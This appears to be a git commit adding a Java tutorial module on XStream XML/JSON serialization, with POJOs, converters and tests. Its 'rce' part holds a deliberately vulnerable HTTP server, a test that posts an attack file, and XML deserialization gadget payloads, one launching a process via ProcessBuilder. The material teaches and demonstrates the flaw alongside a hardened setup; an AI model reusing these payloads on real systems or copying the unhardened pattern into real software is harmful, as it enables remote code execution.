This commit is contained in:
Jonathan Cook
2019-10-23 15:01:44 +02:00
parent db85c8f275
commit 684ec0d2e3
20486 changed files with 1642483 additions and 0 deletions
+10
View File
@@ -0,0 +1,10 @@
## XStream
This module contains articles about XStream
## Relevant Articles:
- [XStream User Guide: JSON](https://www.baeldung.com/xstream-json-processing)
- [XStream User Guide: Converting XML to Objects](https://www.baeldung.com/xstream-deserialize-xml-to-object)
- [XStream User Guide: Converting Objects to XML](https://www.baeldung.com/xstream-serialize-object-to-xml)
- [Remote Code Execution with XStream](https://www.baeldung.com/java-xstream-remote-code-execution)
+36
View File
@@ -0,0 +1,36 @@
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>
<groupId>org.baeldung</groupId>
<artifactId>xstream</artifactId>
<version>0.0.1-SNAPSHOT</version>
<name>xstream</name>
<description>An Introduction To XStream</description>
<parent>
<groupId>com.baeldung</groupId>
<artifactId>parent-modules</artifactId>
<version>1.0.0-SNAPSHOT</version>
<relativePath>../pom.xml</relativePath>
</parent>
<dependencies>
<dependency>
<groupId>com.thoughtworks.xstream</groupId>
<artifactId>xstream</artifactId>
<version>${xstream.version}</version>
</dependency>
<dependency>
<groupId>org.codehaus.jettison</groupId>
<artifactId>jettison</artifactId>
<version>${jettison.version}</version>
</dependency>
</dependencies>
<properties>
<xstream.version>1.4.10</xstream.version>
<jettison.version>1.3.8</jettison.version>
</properties>
</project>
@@ -0,0 +1,45 @@
package com.baeldung.annotation.pojo;
import com.thoughtworks.xstream.annotations.XStreamAlias;
import java.util.Date;
@XStreamAlias("customer")
public class Customer {
@XStreamAlias("fn")
private String firstName;
private String lastName;
private Date dob;
public String getFirstName() {
return firstName;
}
public void setFirstName(String firstName) {
this.firstName = firstName;
}
public String getLastName() {
return lastName;
}
public void setLastName(String lastName) {
this.lastName = lastName;
}
public Date getDob() {
return dob;
}
public void setDob(Date dob) {
this.dob = dob;
}
@Override
public String toString() {
return "Customer [firstName=" + firstName + ", lastName=" + lastName + ", dob=" + dob + "]";
}
}
@@ -0,0 +1,47 @@
package com.baeldung.annotation.pojo;
import com.thoughtworks.xstream.annotations.XStreamAlias;
import com.thoughtworks.xstream.annotations.XStreamOmitField;
import java.util.Date;
@XStreamAlias("customer")
public class CustomerOmitField {
@XStreamOmitField
private String firstName;
private String lastName;
private Date dob;
public String getFirstName() {
return firstName;
}
public void setFirstName(String firstName) {
this.firstName = firstName;
}
public String getLastName() {
return lastName;
}
public void setLastName(String lastName) {
this.lastName = lastName;
}
public Date getDob() {
return dob;
}
public void setDob(Date dob) {
this.dob = dob;
}
@Override
public String toString() {
return "CustomerOmitAnnotation [firstName=" + firstName + ", lastName=" + lastName + ", dob=" + dob + "]";
}
}
@@ -0,0 +1,45 @@
package com.baeldung.complex.pojo;
import com.thoughtworks.xstream.annotations.XStreamAlias;
import com.thoughtworks.xstream.annotations.XStreamAsAttribute;
@XStreamAlias("ContactDetails")
public class ContactDetails {
private String mobile;
private String landline;
@XStreamAsAttribute
private String contactType;
public String getMobile() {
return mobile;
}
public void setMobile(String mobile) {
this.mobile = mobile;
}
public String getLandline() {
return landline;
}
public void setLandline(String landline) {
this.landline = landline;
}
public String getContactType() {
return contactType;
}
public void setContactType(String contactType) {
this.contactType = contactType;
}
@Override
public String toString() {
return "ContactDetails [mobile=" + mobile + ", landline=" + landline + ", contactType=" + contactType + "]";
}
}
@@ -0,0 +1,55 @@
package com.baeldung.complex.pojo;
import com.thoughtworks.xstream.annotations.XStreamAlias;
import java.util.Date;
import java.util.List;
@XStreamAlias("customer")
public class Customer {
private String firstName;
private String lastName;
private Date dob;
private List<ContactDetails> contactDetailsList;
public String getFirstName() {
return firstName;
}
public void setFirstName(String firstName) {
this.firstName = firstName;
}
public String getLastName() {
return lastName;
}
public void setLastName(String lastName) {
this.lastName = lastName;
}
public Date getDob() {
return dob;
}
public void setDob(Date dob) {
this.dob = dob;
}
public List<ContactDetails> getContactDetailsList() {
return contactDetailsList;
}
public void setContactDetailsList(List<ContactDetails> contactDetailsList) {
this.contactDetailsList = contactDetailsList;
}
@Override
public String toString() {
return "Customer [firstName=" + firstName + ", lastName=" + lastName + ", dob=" + dob + ", contactDetailsList=" + contactDetailsList + "]";
}
}
@@ -0,0 +1,45 @@
package com.baeldung.implicit.collection.pojo;
import com.thoughtworks.xstream.annotations.XStreamAlias;
import com.thoughtworks.xstream.annotations.XStreamAsAttribute;
@XStreamAlias("ContactDetails")
public class ContactDetails {
private String mobile;
private String landline;
@XStreamAsAttribute
private String contactType;
public String getMobile() {
return mobile;
}
public void setMobile(String mobile) {
this.mobile = mobile;
}
public String getLandline() {
return landline;
}
public void setLandline(String landline) {
this.landline = landline;
}
public String getContactType() {
return contactType;
}
public void setContactType(String contactType) {
this.contactType = contactType;
}
@Override
public String toString() {
return "ContactDetails [mobile=" + mobile + ", landline=" + landline + ", contactType=" + contactType + "]";
}
}
@@ -0,0 +1,57 @@
package com.baeldung.implicit.collection.pojo;
import com.thoughtworks.xstream.annotations.XStreamAlias;
import com.thoughtworks.xstream.annotations.XStreamImplicit;
import java.util.Date;
import java.util.List;
@XStreamAlias("customer")
public class Customer {
private String firstName;
private String lastName;
private Date dob;
@XStreamImplicit
private List<ContactDetails> contactDetailsList;
public String getFirstName() {
return firstName;
}
public void setFirstName(String firstName) {
this.firstName = firstName;
}
public String getLastName() {
return lastName;
}
public void setLastName(String lastName) {
this.lastName = lastName;
}
public Date getDob() {
return dob;
}
public void setDob(Date dob) {
this.dob = dob;
}
public List<ContactDetails> getContactDetailsList() {
return contactDetailsList;
}
public void setContactDetailsList(List<ContactDetails> contactDetailsList) {
this.contactDetailsList = contactDetailsList;
}
@Override
public String toString() {
return "Customer [firstName=" + firstName + ", lastName=" + lastName + ", dob=" + dob + ", contactDetailsList=" + contactDetailsList + "]";
}
}
@@ -0,0 +1,20 @@
package com.baeldung.initializer;
import com.thoughtworks.xstream.XStream;
import com.thoughtworks.xstream.io.json.JettisonMappedXmlDriver;
import com.thoughtworks.xstream.io.json.JsonHierarchicalStreamDriver;
public class SimpleXstreamInitializer {
public XStream getXstreamInstance() {
return new XStream();
}
public XStream getXstreamJettisonMappedInstance() {
return new XStream(new JettisonMappedXmlDriver());
}
public XStream getXstreamJsonHierarchicalInstance() {
return new XStream(new JsonHierarchicalStreamDriver());
}
}
@@ -0,0 +1,40 @@
package com.baeldung.pojo;
import com.thoughtworks.xstream.annotations.XStreamAlias;
import java.util.List;
@XStreamAlias("AddressDetails")
public class AddressDetails {
private String address;
private String zipcode;
private List<ContactDetails> contactDetails;
public String getZipcode() {
return zipcode;
}
public void setZipcode(String zipcode) {
this.zipcode = zipcode;
}
public List<ContactDetails> getContactDetails() {
return contactDetails;
}
public void setContactDetails(List<ContactDetails> contactDetails) {
this.contactDetails = contactDetails;
}
public String getAddress() {
return address;
}
public void setAddress(String address) {
this.address = address;
}
}
@@ -0,0 +1,28 @@
package com.baeldung.pojo;
import com.thoughtworks.xstream.annotations.XStreamAlias;
@XStreamAlias("ContactDetails")
public class ContactDetails {
private String mobile;
private String landline;
public String getMobile() {
return mobile;
}
public void setMobile(String mobile) {
this.mobile = mobile;
}
public String getLandline() {
return landline;
}
public void setLandline(String landline) {
this.landline = landline;
}
}
@@ -0,0 +1,57 @@
package com.baeldung.pojo;
import com.thoughtworks.xstream.annotations.XStreamAlias;
import com.thoughtworks.xstream.annotations.XStreamImplicit;
import java.util.Date;
import java.util.List;
@XStreamAlias("customer")
public class Customer {
private String firstName;
private String lastName;
private Date dob;
@XStreamImplicit
private List<ContactDetails> contactDetailsList;
public String getFirstName() {
return firstName;
}
public void setFirstName(String firstName) {
this.firstName = firstName;
}
public String getLastName() {
return lastName;
}
public void setLastName(String lastName) {
this.lastName = lastName;
}
public Date getDob() {
return dob;
}
public void setDob(Date dob) {
this.dob = dob;
}
public List<ContactDetails> getContactDetailsList() {
return contactDetailsList;
}
public void setContactDetailsList(List<ContactDetails> contactDetailsList) {
this.contactDetailsList = contactDetailsList;
}
@Override
public String toString() {
return "Customer [firstName=" + firstName + ", lastName=" + lastName + ", dob=" + dob + "]";
}
}
@@ -0,0 +1,49 @@
package com.baeldung.pojo;
import com.thoughtworks.xstream.annotations.XStreamAlias;
import java.util.List;
@XStreamAlias("CustomerAddressDetails")
public class CustomerAddressDetails {
private List<AddressDetails> addressDetails;
private String firstName;
private String lastName;
private int age;
public String getFirstName() {
return firstName;
}
public void setFirstName(String firstName) {
this.firstName = firstName;
}
public String getLastName() {
return lastName;
}
public void setLastName(String lastName) {
this.lastName = lastName;
}
public int getAge() {
return age;
}
public void setAge(int age) {
this.age = age;
}
public List<AddressDetails> getAddressDetails() {
return addressDetails;
}
public void setAddressDetails(List<AddressDetails> addressDetails) {
this.addressDetails = addressDetails;
}
}
@@ -0,0 +1,20 @@
package com.baeldung.pojo;
import com.thoughtworks.xstream.annotations.XStreamAlias;
import java.util.List;
@XStreamAlias("CustomerPortfolio")
public class CustomerPortfolio {
private List<CustomerAddressDetails> customerAddressDetailsList;
public List<CustomerAddressDetails> getCustomerAddressDetailsList() {
return customerAddressDetailsList;
}
public void setCustomerAddressDetailsList(List<CustomerAddressDetails> customerAddressDetailsList) {
this.customerAddressDetailsList = customerAddressDetailsList;
}
}
@@ -0,0 +1,92 @@
package com.baeldung.rce;
import com.sun.net.httpserver.HttpServer;
import com.thoughtworks.xstream.XStream;
import com.thoughtworks.xstream.security.NoTypePermission;
import com.thoughtworks.xstream.security.NullPermission;
import com.thoughtworks.xstream.security.PrimitiveTypePermission;
import java.io.IOException;
import java.net.InetSocketAddress;
import java.util.HashSet;
import java.util.Set;
/**
* Web application which is intentionally vulnerable to an XStream remote code
* exploitation (RCE).
*
* <p>
* This test application is meant to maintain a set of {@link Person} models. It
* exposes a "/persons" endpoint which supports the following operations:
*
* <ol>
* <li>{@code POST} XML for adding a new {@link Person} to the set
* <li>{@code GET} for retrieving the set of {@link Person} models as XML
* </ol>
*
* The {@code POST} handler is vulnerable to an RCE exploit.
*/
public final class App {
public static App createHardened(int port) {
final XStream xstream = new XStream();
xstream.addPermission(NoTypePermission.NONE);
xstream.addPermission(NullPermission.NULL);
xstream.addPermission(PrimitiveTypePermission.PRIMITIVES);
xstream.allowTypes(new Class<?>[] { Person.class });
return new App(port, xstream);
}
public static App createVulnerable(int port) {
return new App(port, new XStream());
}
private final int port;
private final Set<Person> persons;
private final XStream xstream;
private HttpServer server;
private App(int port, XStream xstream) {
this.port = port;
persons = new HashSet<>();
// this app is vulnerable because XStream security is not configured
this.xstream = xstream;
this.xstream.alias("person", Person.class);
}
void start() throws IOException {
server = HttpServer.create(new InetSocketAddress("localhost", port), 0);
server.createContext("/persons", exchange -> {
switch (exchange.getRequestMethod()) {
case "POST":
final Person person = (Person) xstream.fromXML(exchange.getRequestBody());
persons.add(person);
exchange.sendResponseHeaders(201, 0);
exchange.close();
break;
case "GET":
exchange.sendResponseHeaders(200, 0);
xstream.toXML(persons, exchange.getResponseBody());
exchange.close();
break;
default:
exchange.sendResponseHeaders(405, 0);
exchange.close();
}
});
server.start();
}
void stop() {
if (server != null) {
server.stop(0);
}
}
int port() {
if (server == null)
throw new IllegalStateException("Server not started");
return server.getAddress()
.getPort();
}
}
@@ -0,0 +1,43 @@
package com.baeldung.rce;
import java.util.Objects;
/** Person model */
public final class Person {
private String first;
private String last;
public String getFirst() {
return first;
}
public void setFirst(String first) {
this.first = first;
}
public String getLast() {
return last;
}
public void setLast(String last) {
this.last = last;
}
@Override
public boolean equals(Object o) {
if (this == o) {
return true;
}
if (!(o instanceof Person)) {
return false;
}
Person person = (Person) o;
return Objects.equals(first, person.first) && Objects.equals(last, person.last);
}
@Override
public int hashCode() {
return Objects.hash(first, last);
}
}
@@ -0,0 +1,40 @@
package com.baeldung.utility;
import com.thoughtworks.xstream.converters.ConversionException;
import com.thoughtworks.xstream.converters.Converter;
import com.thoughtworks.xstream.converters.MarshallingContext;
import com.thoughtworks.xstream.converters.UnmarshallingContext;
import com.thoughtworks.xstream.io.HierarchicalStreamReader;
import com.thoughtworks.xstream.io.HierarchicalStreamWriter;
import java.text.ParseException;
import java.text.SimpleDateFormat;
import java.util.Date;
import java.util.GregorianCalendar;
public class MyDateConverter implements Converter {
private SimpleDateFormat formatter = new SimpleDateFormat("dd-MM-yyyy");
@Override
public boolean canConvert(Class clazz) {
return Date.class.isAssignableFrom(clazz);
}
@Override
public void marshal(Object value, HierarchicalStreamWriter writer, MarshallingContext arg2) {
Date date = (Date) value;
writer.setValue(formatter.format(date));
}
@Override
public Object unmarshal(HierarchicalStreamReader reader, UnmarshallingContext arg1) {
GregorianCalendar calendar = new GregorianCalendar();
try {
calendar.setTime(formatter.parse(reader.getValue()));
} catch (ParseException e) {
throw new ConversionException(e.getMessage(), e);
}
return calendar;
}
}
@@ -0,0 +1,28 @@
package com.baeldung.utility;
import com.baeldung.pojo.Customer;
import com.thoughtworks.xstream.converters.SingleValueConverter;
import java.text.SimpleDateFormat;
import java.util.Date;
public class MySingleValueConverter implements SingleValueConverter {
@Override
public boolean canConvert(Class clazz) {
return Customer.class.isAssignableFrom(clazz);
}
@Override
public Object fromString(String arg0) {
return null;
}
@Override
public String toString(Object obj) {
SimpleDateFormat formatter = new SimpleDateFormat("dd-MM-yyyy");
Date date = ((Customer) obj).getDob();
return ((Customer) obj).getFirstName() + "," + ((Customer) obj).getLastName() + "," + formatter.format(date);
}
}
@@ -0,0 +1,37 @@
package com.baeldung.utility;
import com.baeldung.pojo.ContactDetails;
import com.baeldung.pojo.Customer;
import java.util.ArrayList;
import java.util.Calendar;
import java.util.List;
public class SimpleDataGeneration {
public static Customer generateData() {
Customer customer = new Customer();
Calendar cal = Calendar.getInstance();
cal.set(1986, 01, 14);
customer.setDob(cal.getTime());
customer.setFirstName("XStream");
customer.setLastName("Java");
List<ContactDetails> contactDetailsList = new ArrayList<ContactDetails>();
ContactDetails contactDetails1 = new ContactDetails();
contactDetails1.setLandline("0124-2460311");
contactDetails1.setMobile("6673543265");
ContactDetails contactDetails2 = new ContactDetails();
contactDetails2.setLandline("0120-223312");
contactDetails2.setMobile("4676543565");
contactDetailsList.add(contactDetails1);
contactDetailsList.add(contactDetails2);
customer.setContactDetailsList(contactDetailsList);
return customer;
}
}
+19
View File
@@ -0,0 +1,19 @@
<?xml version="1.0" encoding="UTF-8"?>
<configuration>
<appender name="STDOUT" class="ch.qos.logback.core.ConsoleAppender">
<encoder>
<pattern>%d{HH:mm:ss.SSS} [%thread] %-5level %logger{36} - %msg%n
</pattern>
</encoder>
</appender>
<logger name="org.springframework" level="WARN" />
<logger name="org.springframework.transaction" level="WARN" />
<!-- in order to debug some marshalling issues, this needs to be TRACE -->
<logger name="org.springframework.web.servlet.mvc" level="WARN" />
<root level="INFO">
<appender-ref ref="STDOUT" />
</root>
</configuration>
@@ -0,0 +1,52 @@
package com.baeldung.pojo.test;
import com.baeldung.complex.pojo.ContactDetails;
import com.baeldung.complex.pojo.Customer;
import com.baeldung.initializer.SimpleXstreamInitializer;
import com.thoughtworks.xstream.XStream;
import org.junit.Before;
import org.junit.Test;
import java.io.FileReader;
import static org.junit.Assert.assertNotNull;
public class ComplexXmlToObjectAnnotationUnitTest {
private XStream xstream = null;
@Before
public void dataSetup() {
SimpleXstreamInitializer simpleXstreamInitializer = new SimpleXstreamInitializer();
xstream = simpleXstreamInitializer.getXstreamInstance();
xstream.processAnnotations(Customer.class);
}
@Test
public void convertXmlToObjectFromFile() throws Exception {
ClassLoader classLoader = getClass().getClassLoader();
FileReader reader = new FileReader(classLoader
.getResource("data-file-alias-field-complex.xml")
.getFile());
Customer customer = (Customer) xstream.fromXML(reader);
assertNotNull(customer);
assertNotNull(customer.getContactDetailsList());
}
@Test
public void convertXmlToObjectAttributeFromFile() throws Exception {
ClassLoader classLoader = getClass().getClassLoader();
FileReader reader = new FileReader(classLoader
.getResource("data-file-alias-field-complex.xml")
.getFile());
Customer customer = (Customer) xstream.fromXML(reader);
assertNotNull(customer);
assertNotNull(customer.getContactDetailsList());
for (ContactDetails contactDetails : customer.getContactDetailsList()) {
assertNotNull(contactDetails.getContactType());
}
}
}
@@ -0,0 +1,35 @@
package com.baeldung.pojo.test;
import com.baeldung.implicit.collection.pojo.Customer;
import com.baeldung.initializer.SimpleXstreamInitializer;
import com.thoughtworks.xstream.XStream;
import org.junit.Assert;
import org.junit.Before;
import org.junit.Test;
import java.io.FileNotFoundException;
import java.io.FileReader;
public class ComplexXmlToObjectCollectionUnitTest {
private XStream xstream = null;
@Before
public void dataSetup() {
SimpleXstreamInitializer simpleXstreamInitializer = new SimpleXstreamInitializer();
xstream = simpleXstreamInitializer.getXstreamInstance();
xstream.processAnnotations(Customer.class);
}
@Test
public void convertXmlToObjectFromFile() throws FileNotFoundException {
ClassLoader classLoader = getClass().getClassLoader();
FileReader reader = new FileReader(classLoader
.getResource("data-file-alias-implicit-collection.xml")
.getFile());
Customer customer = (Customer) xstream.fromXML(reader);
Assert.assertNotNull(customer);
Assert.assertNotNull(customer.getContactDetailsList());
}
}
@@ -0,0 +1,34 @@
package com.baeldung.pojo.test;
import com.baeldung.initializer.SimpleXstreamInitializer;
import com.baeldung.pojo.Customer;
import com.thoughtworks.xstream.XStream;
import org.junit.Assert;
import org.junit.Before;
import org.junit.Test;
import java.io.FileNotFoundException;
import java.io.FileReader;
public class XmlToObjectAliasIntegrationTest {
private XStream xstream = null;
@Before
public void dataSetup() {
SimpleXstreamInitializer simpleXstreamInitializer = new SimpleXstreamInitializer();
xstream = simpleXstreamInitializer.getXstreamInstance();
xstream.alias("customer", Customer.class);
}
@Test
public void convertXmlToObjectFromFile() throws FileNotFoundException {
ClassLoader classLoader = getClass().getClassLoader();
FileReader reader = new FileReader(classLoader
.getResource("data-file-alias.xml")
.getFile());
Customer customer = (Customer) xstream.fromXML(reader);
Assert.assertNotNull(customer);
}
}
@@ -0,0 +1,33 @@
package com.baeldung.pojo.test;
import com.baeldung.annotation.pojo.Customer;
import com.baeldung.initializer.SimpleXstreamInitializer;
import com.thoughtworks.xstream.XStream;
import org.junit.Assert;
import org.junit.Before;
import org.junit.Test;
import java.io.FileNotFoundException;
import java.io.FileReader;
public class XmlToObjectAnnotationIntegrationTest {
private XStream xstream = null;
@Before
public void dataSetup() {
SimpleXstreamInitializer simpleXstreamInitializer = new SimpleXstreamInitializer();
xstream = simpleXstreamInitializer.getXstreamInstance();
xstream.processAnnotations(Customer.class);
}
@Test
public void convertXmlToObjectFromFile() throws FileNotFoundException {
ClassLoader classLoader = getClass().getClassLoader();
FileReader reader = new FileReader(classLoader.getResource("data-file-alias-field.xml").getFile());
Customer customer = (Customer) xstream.fromXML(reader);
Assert.assertNotNull(customer);
Assert.assertNotNull(customer.getFirstName());
}
}
@@ -0,0 +1,36 @@
package com.baeldung.pojo.test;
import com.baeldung.initializer.SimpleXstreamInitializer;
import com.baeldung.pojo.Customer;
import com.thoughtworks.xstream.XStream;
import org.junit.Assert;
import org.junit.Before;
import org.junit.Test;
import java.io.FileNotFoundException;
import java.io.FileReader;
public class XmlToObjectFieldAliasIntegrationTest {
private XStream xstream = null;
@Before
public void dataSetup() {
SimpleXstreamInitializer simpleXstreamInitializer = new SimpleXstreamInitializer();
xstream = simpleXstreamInitializer.getXstreamInstance();
xstream.alias("customer", Customer.class);
xstream.aliasField("fn", Customer.class, "firstName");
}
@Test
public void convertXmlToObjectFromFile() throws FileNotFoundException {
ClassLoader classLoader = getClass().getClassLoader();
FileReader reader = new FileReader(classLoader
.getResource("data-file-alias-field.xml")
.getFile());
Customer customer = (Customer) xstream.fromXML(reader);
Assert.assertNotNull(customer);
Assert.assertNotNull(customer.getFirstName());
}
}
@@ -0,0 +1,36 @@
package com.baeldung.pojo.test;
import com.baeldung.initializer.SimpleXstreamInitializer;
import com.baeldung.pojo.Customer;
import com.thoughtworks.xstream.XStream;
import org.junit.Assert;
import org.junit.Before;
import org.junit.Test;
import java.io.FileNotFoundException;
import java.io.FileReader;
public class XmlToObjectIgnoreFieldsIntegrationTest {
private XStream xstream = null;
@Before
public void dataSetup() {
SimpleXstreamInitializer simpleXstreamInitializer = new SimpleXstreamInitializer();
xstream = simpleXstreamInitializer.getXstreamInstance();
xstream.alias("customer", Customer.class);
xstream.ignoreUnknownElements();
}
@Test
public void convertXmlToObjectFromFile() throws FileNotFoundException {
ClassLoader classLoader = getClass().getClassLoader();
FileReader reader = new FileReader(classLoader
.getResource("data-file-ignore-field.xml")
.getFile());
Customer customer = (Customer) xstream.fromXML(reader);
Assert.assertNotNull(customer);
// System.out.println(customer);
}
}
@@ -0,0 +1,41 @@
package com.baeldung.pojo.test;
import com.baeldung.initializer.SimpleXstreamInitializer;
import com.baeldung.pojo.Customer;
import com.baeldung.utility.SimpleDataGeneration;
import com.thoughtworks.xstream.XStream;
import org.junit.Assert;
import org.junit.Before;
import org.junit.Test;
import java.io.FileReader;
public class XmlToObjectIntegrationTest {
private XStream xstream = null;
@Before
public void dataSetup() {
SimpleXstreamInitializer simpleXstreamInitializer = new SimpleXstreamInitializer();
xstream = simpleXstreamInitializer.getXstreamInstance();
}
@Test
public void convertXmlToObjectFromFile() throws Exception {
ClassLoader classLoader = getClass().getClassLoader();
FileReader reader = new FileReader(classLoader
.getResource("data-file.xml")
.getFile());
Customer customer = (Customer) xstream.fromXML(reader);
Assert.assertNotNull(customer);
}
@Test
public void convertXmlToObjectFromString() {
Customer customer = SimpleDataGeneration.generateData();
String dataXml = xstream.toXML(customer);
Customer convertedCustomer = (Customer) xstream.fromXML(dataXml);
Assert.assertNotNull(convertedCustomer);
}
}
@@ -0,0 +1,65 @@
package com.baeldung.rce;
import org.junit.After;
import org.junit.Before;
import org.junit.Test;
import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;
import java.net.HttpURLConnection;
import java.net.SocketException;
import java.net.URL;
import static org.junit.Assert.assertTrue;
/**
* Unit test which demonstrates a remote code exploit against the {@link App}
* server. Sends an XML request containing an attack payload to the {@code POST}
* endpoint.
*/
public final class AppUnitTest {
private App app;
/** start a new web server */
@Before
public void before() throws IOException {
app = App.createVulnerable(0);
app.start();
}
/** stop the web server */
@After
public void after() {
if (app != null)
app.stop();
}
/**
* Test passes when an {@link IOException} is thrown because this indicates that
* the attacker caused the application to fail in some way. This does not
* actually confirm that the exploit took place, because the RCE is a
* side-effect that is difficult to observe.
*/
@Test(expected = SocketException.class)
public void givenAppIsVulneable_whenExecuteRemoteCodeWhichThrowsException_thenThrowsException() throws IOException {
// POST the attack.xml to the application's /persons endpoint
final URL url = new URL("http://localhost:" + app.port() + "/persons");
final HttpURLConnection connection = (HttpURLConnection) url.openConnection();
connection.setRequestMethod("POST");
connection.setDoOutput(true);
connection.setUseCaches(false);
connection.setRequestProperty("Content-Type", "application/xml");
connection.connect();
try (OutputStream os = connection.getOutputStream(); InputStream is = AppUnitTest.class.getResourceAsStream("/attack.xml")) {
byte[] buffer = new byte[1024];
while (is.read(buffer) > 0) {
os.write(buffer);
}
}
final int rc = connection.getResponseCode();
connection.disconnect();
assertTrue(rc >= 400);
}
}
@@ -0,0 +1,7 @@
package com.baeldung.rce;
/**
* Indicates a successful remote code execution attack has taken place.
*/
final class AttackExploitedException extends RuntimeException {
}
@@ -0,0 +1,13 @@
package com.baeldung.rce;
/**
* Class which contains an action to throw {@link AttackExploitedException}.
* This helper is used by {@link AppTest} to determine when the remote code
* exploit has taken place.
*/
final class AttackExploitedExceptionThrower {
public void throwAttackExploitedException() {
throw new AttackExploitedException();
}
}
@@ -0,0 +1,82 @@
package com.baeldung.rce;
import com.thoughtworks.xstream.XStream;
import org.junit.Before;
import org.junit.Test;
import java.util.Collections;
import java.util.Map;
import static org.junit.Assert.assertEquals;
/**
* Demonstrates XStream basics
*/
public final class XStreamBasicsUnitTest {
private XStream xstream;
@Before
public void before() {
xstream = new XStream();
xstream.alias("person", Person.class);
}
@Test
public void whenWritePerson_thenWritesExpectedXml() {
Person person = new Person();
person.setFirst("John");
person.setLast("Smith");
String xml = xstream.toXML(person);
// @formatter:off
String expected = ""
+ "<person>\n"
+ " <first>John</first>\n"
+ " <last>Smith</last>\n"
+ "</person>";
// @formatter:on
assertEquals(expected, xml);
}
@Test
public void whenReadXmlAsPerson_thenReturnsNewPerson() {
// @formatter:off
String xml = ""
+ "<person>"
+ " <first>John</first>"
+ " <last>Smith</last>"
+ "</person>";
// @formatter:on
Person person = (Person) xstream.fromXML(xml);
Person expected = new Person();
expected.setFirst("John");
expected.setLast("Smith");
assertEquals(person, expected);
}
@Test
public void givenXmlRepresentationOfMap_whenDeserialize_thenBuildsMap() {
// @formatter:off
String xml = ""
+ "<map>"
+ " <element>"
+ " <string>foo</string>"
+ " <int>10</int>"
+ " </element>"
+ "</map>";
// @formatter:on
@SuppressWarnings("unchecked")
Map<String, Integer> actual = (Map<String, Integer>) xstream.fromXML(xml);
final Map<String, Integer> expected = Collections.singletonMap("foo", 10);
assertEquals(expected, actual);
}
}
@@ -0,0 +1,47 @@
package com.baeldung.test;
import com.baeldung.initializer.SimpleXstreamInitializer;
import com.baeldung.pojo.ContactDetails;
import com.baeldung.pojo.Customer;
import com.baeldung.utility.SimpleDataGeneration;
import com.thoughtworks.xstream.XStream;
import org.junit.Assert;
import org.junit.Before;
import org.junit.Test;
public class XStreamJettisonIntegrationTest {
private Customer customer = null;
private String dataJson = null;
private XStream xstream = null;
@Before
public void dataSetup() {
SimpleXstreamInitializer simpleXstreamInitializer = new SimpleXstreamInitializer();
xstream = simpleXstreamInitializer.getXstreamJettisonMappedInstance();
xstream.processAnnotations(Customer.class);
}
@Test
public void convertObjectToJson() {
customer = SimpleDataGeneration.generateData();
xstream.alias("customer", Customer.class);
xstream.alias("contactDetails", ContactDetails.class);
xstream.aliasField("fn", Customer.class, "firstName");
dataJson = xstream.toXML(customer);
System.out.println(dataJson);
Assert.assertNotNull(dataJson);
}
@Test
public void convertJsonToObject() {
customer = SimpleDataGeneration.generateData();
dataJson = xstream.toXML(customer);
customer = (Customer) xstream.fromXML(dataJson);
System.out.println(customer);
Assert.assertNotNull(customer);
}
}
@@ -0,0 +1,44 @@
package com.baeldung.test;
import com.baeldung.initializer.SimpleXstreamInitializer;
import com.baeldung.pojo.ContactDetails;
import com.baeldung.pojo.Customer;
import com.baeldung.utility.SimpleDataGeneration;
import com.thoughtworks.xstream.XStream;
import org.junit.Assert;
import org.junit.Before;
import org.junit.Test;
public class XStreamJsonHierarchicalIntegrationTest {
private Customer customer = null;
private String dataJson = null;
private XStream xstream = null;
@Before
public void dataSetup() {
SimpleXstreamInitializer simpleXstreamInitializer = new SimpleXstreamInitializer();
xstream = simpleXstreamInitializer.getXstreamJsonHierarchicalInstance();
xstream.processAnnotations(Customer.class);
}
@Test
public void convertObjectToJson() {
customer = SimpleDataGeneration.generateData();
xstream.alias("customer", Customer.class);
xstream.alias("contactDetails", ContactDetails.class);
xstream.aliasField("fn", Customer.class, "firstName");
dataJson = xstream.toXML(customer);
System.out.println(dataJson);
Assert.assertNotNull(dataJson);
}
@Test(expected = UnsupportedOperationException.class)
public void convertJsonToObject() {
customer = SimpleDataGeneration.generateData();
dataJson = xstream.toXML(customer);
customer = (Customer) xstream.fromXML(dataJson);
Assert.assertNotNull(customer);
}
}
@@ -0,0 +1,57 @@
package com.baeldung.utility;
import com.baeldung.initializer.SimpleXstreamInitializer;
import com.baeldung.pojo.AddressDetails;
import com.baeldung.pojo.ContactDetails;
import com.baeldung.pojo.Customer;
import com.thoughtworks.xstream.XStream;
import org.junit.Assert;
import org.junit.Before;
import org.junit.Test;
public class XStreamSimpleXmlIntegrationTest {
private Customer customer;
private String dataXml;
private XStream xstream;
@Before
public void dataSetup() {
customer = SimpleDataGeneration.generateData();
SimpleXstreamInitializer simpleXstreamInitializer = new SimpleXstreamInitializer();
xstream = simpleXstreamInitializer.getXstreamInstance();
xstream.processAnnotations(Customer.class);
xstream.processAnnotations(AddressDetails.class);
xstream.processAnnotations(ContactDetails.class);
xstream.omitField(Customer.class, "lastName");
xstream.registerConverter(new MyDateConverter());
// xstream.registerConverter(new MySingleValueConverter());
xstream.aliasField("fn", Customer.class, "firstName");
dataXml = xstream.toXML(customer);
}
@Test
public void testClassAliasedAnnotation() {
Assert.assertNotEquals(-1, dataXml.indexOf("<customer>"));
}
@Test
public void testFieldAliasedAnnotation() {
Assert.assertNotEquals(-1, dataXml.indexOf("<fn>"));
}
@Test
public void testImplicitCollection() {
Assert.assertEquals(-1, dataXml.indexOf("contactDetailsList"));
}
@Test
public void testDateFieldFormating() {
Assert.assertEquals("14-02-1986", dataXml.substring(dataXml.indexOf("<dob>") + 5, dataXml.indexOf("</dob>")));
}
@Test
public void testOmitField() {
Assert.assertEquals(-1, dataXml.indexOf("lastName"));
}
}
+12
View File
@@ -0,0 +1,12 @@
<sorted-set>
<string>foo</string>
<dynamic-proxy>
<interface>java.lang.Comparable</interface>
<handler class="java.beans.EventHandler">
<target
class='com.baeldung.rce.AttackExploitedExceptionThrower'>
</target>
<action>throwAttackExploitedException</action>
</handler>
</dynamic-proxy>
</sorted-set>
@@ -0,0 +1,16 @@
<sorted-set>
<string>foo</string>
<dynamic-proxy>
<interface>java.lang.Comparable</interface>
<handler class="java.beans.EventHandler">
<target
class="java.lang.ProcessBuilder">
<command>
<string>open</string>
<string>/Applications/Calculator.app</string>
</command>
</target>
<action>start</action>
</handler>
</dynamic-proxy>
</sorted-set>
@@ -0,0 +1,15 @@
<customer>
